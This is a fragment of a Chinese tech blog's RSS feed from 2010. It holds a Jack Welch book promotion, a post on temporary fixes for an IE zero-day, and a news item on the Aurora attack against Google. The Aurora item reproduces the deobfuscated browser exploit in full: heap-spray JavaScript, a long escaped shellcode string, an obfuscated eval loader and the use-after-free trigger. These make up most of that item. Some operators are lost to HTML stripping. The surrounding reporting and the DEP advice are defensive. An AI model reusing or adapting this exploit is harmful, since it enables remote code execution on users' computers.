　　可以这样说，无论是文学、绘画、音乐、舞蹈、体育、宗教、政治、教育、军事、经济、科技等，无论任何方面，一切都离不开创意。创意是所有“创新活动”的起点、动力、源泉、目的，这可称之为“创意存在律”。
《赢》-杰克·韦尔奇著　　点击下载
　　《赢》中，韦尔奇结合亲身管理实践及大量鲜活的案例，将其在工作与生活中“赢”的智慧倾囊相授，内容涉及商务活动的诸多层面，包括商业生活的要旨、企业领导的管理智慧、普通员工的求职与晋升之道，乃至如何实现工作与生活的平衡。本书凝聚了韦尔奇一生的管理智慧，是其执掌通用21年来领导艺术的总结与升华。
　　本书并不是专为CEO所写。无论你是来自跨国公司，还是小型企业；无论你是生产线上的工人、刚毕业的大学生或MBA，还是项目经理，或者企业的高层领导，只要你胸中燃烧着奋斗激情，都将从中受益。
《赢的答案》-杰克·韦尔奇著　　点击下载
　　《赢的答案》这也许是韦尔奇最后一部著作了，谁知道呢？千万不要小看这本书，它貌似简单，全书由74个问题和韦尔奇的回答组成，全书不过13万字。但就是这样一本书，却不同于韦尔奇之前的《自传》和《赢》。韦尔奇的3本书各有特色，自传偏重讲述，不免存在记忆失误、叙述随意、经验总结不够集中等问题。而在第二本《赢》里，韦尔奇试图板起面孔做一个理论家，构建一套体系。这本《赢的答案》，可以说是这位“世界上最伟大的CEO”的一生智慧的总结。无数人向韦尔奇提出各种各样的问题，韦尔奇精心挑选了74个，这些都是关系到每个人、每个管理者、每个企业的现实性的问题。韦尔奇举轻若重，以牛刀来杀鸡，在每一个回答中都融入了毕生的经验和体会。大师之所以是大师，就是对于最简单的问题，可以给出最让我们受益匪浅的答案。
《李开复的信与建议》　　点击下载
文章地址:http://www.nodll.com/2010/01/21/lovebooks/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/323943990/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323943990/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323943990/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323943990/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b981985a253ec60e00396b95459e1a5e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b981985a253ec60e00396b95459e1a5e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1b21cb1d9f829212437ff0bae29580ff&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1b21cb1d9f829212437ff0bae29580ff&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e5d6ef0bc8b931236e0b7aec98c056d7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e5d6ef0bc8b931236e0b7aec98c056d7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=07b83be1600c6c8316d6fcece5194802&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=07b83be1600c6c8316d6fcece5194802&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4080418760cf6530a03faec2a9c9fd23&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4080418760cf6530a03faec2a9c9fd23&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=8561df59f4b2d7ebfaf785e2fe71ad85&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=8561df59f4b2d7ebfaf785e2fe71ad85&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3b0f142f79b44f8363c4016bcc393c8c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3b0f142f79b44f8363c4016bcc393c8c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9e5b50670aee8ab65f3ae0ed3e50e92a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9e5b50670aee8ab65f3ae0ed3e50e92a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=d200bbcb7e9da8b0a7aa7fcee86ea6f3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=d200bbcb7e9da8b0a7aa7fcee86ea6f3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>自传</category><category>创意</category><category>Google</category><category>建议</category><category>影音书籍</category><pubDate>Thu, 21 Jan 2010 01:49:43 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2010/01/21/lovebooks/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=251</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2010/01/21/lovebooks/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323943990/6037734</fs:itemid></item><item><title>IE新0day漏洞临时解决办法</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288866/6037734/1/item.html</link><content:encoded>&lt;p&gt;此0day漏洞存在于IE浏览器，且可导致远程代码执行&lt;br /&gt;
研究发现Windows 2000 SP4上(以下省去Windows)的IE 5.1 SP4不受此影响；而以下IE版本（无论是32位还是64位）均受此漏洞影响：&lt;br /&gt;
2000 SP4上的 IE6 SP1&lt;br /&gt;
XP、Server 2003、Vista、Server 2008、7、Server 2008 R2上的IE6、IE7、IE8&lt;/p&gt;
&lt;p&gt;此漏洞存在于IE无效的指针引用。当对象被删除后，在一定的条件下可以访问无效的指针。在针对此漏洞的攻击里试图访问一个已释放的对象时，可引起IE执行远程代码。&lt;br /&gt;
当前，微软已知的利用此漏动的攻击影响有限且有针对性，仅针对IE6。微软并未发现利用此漏洞针对其他版本IE的攻击。微软会继续监视漏洞带来的影响并更新安全通报979352。&lt;br /&gt;
另外，已发现的利用此漏洞的攻击可以被DEP(Data Execution Prevention，数据执行保护)阻挠。DEP在IE8中是默认启用的；而在IE7中，用户可手动开启DEP。&lt;/p&gt;
&lt;p&gt;手动开启IE7中DEP保护的办法：&lt;br /&gt;
1.打开“Internet属性”(从控制面板打开；或打开IE，选择“工具”，再选择“Internet属性”)，切换到“高级”选项卡。&lt;br /&gt;
2.选中“启用内存保护帮助减少联机攻击”，重启IE7后生效。&lt;/p&gt;
&lt;p&gt;或者你也可以使用微软提供的Fix It工具来针对IE6、IE7启用DEP保护&lt;br /&gt;
Fix It微软官方下载地址（单击）：&lt;a href=&quot;http://go.microsoft.com/?linkid=9668626&quot; target=&quot;_blank&quot;&gt;http://go.microsoft.com/?linkid=9668626&lt;/a&gt;&lt;br /&gt;
下载后，按照此工具的向导操作即可。&lt;br /&gt;
卸载工具下载地址（单击）：&lt;a href=&quot;http://go.microsoft.com/?linkid=9668627&quot; target=&quot;_blank&quot;&gt;http://go.microsoft.com/?linkid=9668627&lt;/a&gt;&lt;br /&gt;
360“极光”IE0day漏洞临时补丁：&lt;a href=&quot;http://dl.360safe.com/360ietagpatch.exe&quot; target=&quot;_blank&quot;&gt;http://dl.360safe.com/360ietagpatch.exe&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2010/01/19/ienew0day/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2010/01/19/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;ienew0day&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323288866/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288866/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288866/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288866/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=525dbdc4272cf959c46756ad5abf4049&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=525dbdc4272cf959c46756ad5abf4049&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=dcb89bf320eb43322c44796c79e125e3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=dcb89bf320eb43322c44796c79e125e3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=32bc50926c8bb558192da0e1824eac90&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=32bc50926c8bb558192da0e1824eac90&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=bd1ab9b7a7e40fd21ad9ba39b1112b0d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=bd1ab9b7a7e40fd21ad9ba39b1112b0d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=5a31d1a8633a8f4ca3b1cd8f0121f6f6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=5a31d1a8633a8f4ca3b1cd8f0121f6f6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=8919512dad003fdd3e6488852abd1bce&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=8919512dad003fdd3e6488852abd1bce&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=8ae7d585b6792adf4818b6c31c4cb116&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=8ae7d585b6792adf4818b6c31c4cb116&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3f12e14697a573075378da3ac1ac29af&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3f12e14697a573075378da3ac1ac29af&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3dc8a3135e80383330e88ac9768e81f7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3dc8a3135e80383330e88ac9768e81f7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2010/01/19/ienew0day/Pray.html/feed</wfw:commentRss><slash:comments>23</slash:comments><description>此0day漏洞存在于IE浏览器，且可导致远程代码执行
研究发现Windows 2000 SP4上(以下省去Windows)的IE 5.1 SP4不受此影响；而以下IE版本（无论是32位还是64位）均受此漏洞影响：
2000 SP4上的 IE6 SP1
XP、Server 2003、Vista、Server 2008、7、Server 2008 R2上的IE6、IE7、IE8
此漏洞存在于IE无效的指针引用。当对象被删除后，在一定的条件下可以访问无效的指针。在针对此漏洞的攻击里试图访问一个已释放的对象时，可引起IE执行远程代码。
当前，微软已知的利用此漏动的攻击影响有限且有针对性，仅针对IE6。微软并未发现利用此漏洞针对其他版本IE的攻击。微软会继续监视漏洞带来的影响并更新安全通报979352。
另外，已发现的利用此漏洞的攻击可以被DEP(Data Execution Prevention，数据执行保护)阻挠。DEP在IE8中是默认启用的；而在IE7中，用户可手动开启DEP。
手动开启IE7中DEP保护的办法：
1.打开“Internet属性”(从控制面板打开；或打开IE，选择“工具”，再选择“Internet属性”)，切换到“高级”选项卡。
2.选中“启用内存保护帮助减少联机攻击”，重启IE7后生效。
或者你也可以使用微软提供的Fix It工具来针对IE6、IE7启用DEP保护
Fix It微软官方下载地址（单击）：http://go.microsoft.com/?linkid=9668626
下载后，按照此工具的向导操作即可。
卸载工具下载地址（单击）：http://go.microsoft.com/?linkid=9668627
360“极光”IE0day漏洞临时补丁：http://dl.360safe.com/360ietagpatch.exe
文章地址:http://www.nodll.com/2010/01/19/ienew0day/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/323288866/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288866/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288866/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288866/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=525dbdc4272cf959c46756ad5abf4049&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=525dbdc4272cf959c46756ad5abf4049&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=dcb89bf320eb43322c44796c79e125e3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=dcb89bf320eb43322c44796c79e125e3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=32bc50926c8bb558192da0e1824eac90&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=32bc50926c8bb558192da0e1824eac90&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=bd1ab9b7a7e40fd21ad9ba39b1112b0d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=bd1ab9b7a7e40fd21ad9ba39b1112b0d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=5a31d1a8633a8f4ca3b1cd8f0121f6f6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=5a31d1a8633a8f4ca3b1cd8f0121f6f6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=8919512dad003fdd3e6488852abd1bce&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=8919512dad003fdd3e6488852abd1bce&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=8ae7d585b6792adf4818b6c31c4cb116&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=8ae7d585b6792adf4818b6c31c4cb116&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3f12e14697a573075378da3ac1ac29af&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3f12e14697a573075378da3ac1ac29af&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3dc8a3135e80383330e88ac9768e81f7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3dc8a3135e80383330e88ac9768e81f7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>微软</category><category>漏洞</category><category>安全</category><category>windows</category><category>补丁</category><category>安全防护</category><pubDate>Tue, 19 Jan 2010 02:34:13 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2010/01/19/ienew0day/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=248</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2010/01/19/ienew0day/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323288866/6037734</fs:itemid></item><item><title>极光行动:攻击Google的代码曝光</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288889/6037734/1/item.html</link><content:encoded>&lt;p&gt;TechWeb旗下的DarkReading发表文章，透露iDefense已经收回之前发布的Adobe PDF漏洞导致Google被攻击的声明，承认McAfee所说的IE漏洞才是祸源。&lt;/p&gt;
&lt;p&gt;文章还给出了一个链接，指向开源渗透测试工具项目Metasploit的博客，上面给出了利用这个IE漏洞的攻击代码链接。代码如下：&lt;/p&gt;
&lt;p&gt;去混淆后的代码&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;Evals
var n = unescape(&amp;quot;%u0c0d%u0c0d&amp;quot;);
while (n.length = 524288)n += n;
n = n.substring(0, 524269 - sc.length);
var x = new Array();
for (var i = 0; i 200; i ++ ){
x[i] = n + sc;
}
(repeated 1 time)
Writes
htmlscriptvar sc = unescape(&amp;quot;
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8&amp;quot;);
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364,
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686,
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693,
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833,
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224,
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i sss.length; i ++ ){
arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, &amp;quot;&amp;quot;
);
cc = cc.replace(/@/g, &amp;quot;,&amp;quot;);
eval(cc);
var x1 = new Array();
for (i = 0; i 200; i ++ ){
    x1[i] = document.createElement(&amp;quot;COMMENT&amp;quot;);
    x1[i].data = &amp;quot;abc&amp;quot;;
}
;
var e1 = null;
function ev1(evt){
    e1 = document.createEventObject(evt);
    document.getElementById(&amp;quot;sp1&amp;quot;).innerHTML = &amp;quot;&amp;quot;;
    window.setInterval(ev2, 50);
}
function ev2(){
    p = &amp;quot;
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d&amp;quot;;
    for (i = 0; i x1.length; i ++ ){
      x1[i].data = p;
    }
    ;
    var t = e1.srcElement;
}
/scriptspan id=&amp;quot;sp1&amp;quot;IMG SRC=&amp;quot;aaa.gif&amp;quot; xxxxx=&amp;quot;ev1(event)&amp;quot;/span/body/html
(repeated 1 time)&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;微软也发布了对这个漏洞的更新分析，表明Windows XP上的IE 6最为危险。值得一提的是，文章特别感谢了CSDN专家博客暨《程序员》杂志专栏作者、微软中国的褚诚云。&lt;br /&gt;
还有专家用视频演示了攻击过程。&lt;/p&gt;
&lt;p&gt;《连线》杂志文章给出了大量攻击细节，非常值得一读。&lt;/p&gt;
&lt;p&gt;　　文章引述McAfee公司的话，说（攻击Google的）黑客使用了前所未有的战术，组合了加密、隐秘编程技术和IE中的未知漏洞，意图是窃取Google、Adobe和许多其他大公司的源代码。&lt;/p&gt;
&lt;p&gt;　　该公司威胁研究副总裁Dmitri Alperovitch说：在国防工业之外，我们从未见过商业行业的公司遭受过如此复杂程度的攻击。&lt;/p&gt;
&lt;p&gt;　　Alperovitch说，攻击者使用了十几种恶意代码和多层次的加密，深深地挖掘进了公司网络内部，并巧妙掩盖自己的活动。在掩饰攻击和防范常规侦测方法上，他们的加密非常成功。我们从未见过这种水平的加密。非常高超。&lt;/p&gt;
&lt;p&gt;　　McAfee之所以将这种攻击命名为Auroro（极光），是因为他们发现，黑客在将恶意代码编译为可执行文件时，编译器将攻击者机器上的路径名插入代码中。&lt;/p&gt;
&lt;p&gt;　　在IE漏洞被曝光后，微软很快发布了针对性的安全建议书。而McAfee也在其产品中增加了侦测这种攻击所用恶意代码的功能。&lt;/p&gt;
